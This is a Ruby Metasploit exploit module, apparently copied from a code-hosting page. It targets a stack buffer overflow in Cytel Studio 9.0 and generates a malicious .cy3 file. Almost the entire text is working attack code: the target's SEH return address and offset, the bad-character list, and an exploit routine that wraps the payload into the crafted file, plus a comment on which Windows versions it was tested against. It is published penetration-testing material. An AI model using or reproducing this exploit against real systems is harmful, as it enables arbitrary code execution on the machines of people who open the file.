83 lines
2.3 KiB
Ruby
83 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow found
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in Cytel Studio <= 9.0. The overflow is triggered during the
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copying of strings to a stack buffer of 256 bytes.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Initial Discovery/PoC
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'James Fitts <fitts.james[at]gmail.com>' # Metasploit Module (Thx Juan & Jeff)
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],
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'References' =>
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[
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[ 'OSVDB', '75991' ],
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[ 'BID', '49924' ],
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[ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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# File version 8.0.0.1
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'Cytel Studio 9.0',
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{
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'Ret' => 0x73e58e01, # p/p/r mfc42.dll
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'Offset' => 500
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 02 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.cy3']),
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])
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end
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def exploit
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cy3 = "90\n150 1\n1\test\n"
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cy3 << rand_text_alpha_upper(target['Offset'])
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cy3 << generate_seh_record(target.ret)
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cy3 << rand_text_alpha_upper(8)
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cy3 << payload.encoded
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cy3 << rand_text_alpha_upper(5000 - cy3.length)
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(cy3)
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end
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end
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=begin
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During testing, the offset for Jeff was different. But the three of us have NOT
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been unable to reproduce the same problem. All this was tested on:
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XP SP3, Vista SP0/SP1, Win 7
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=end
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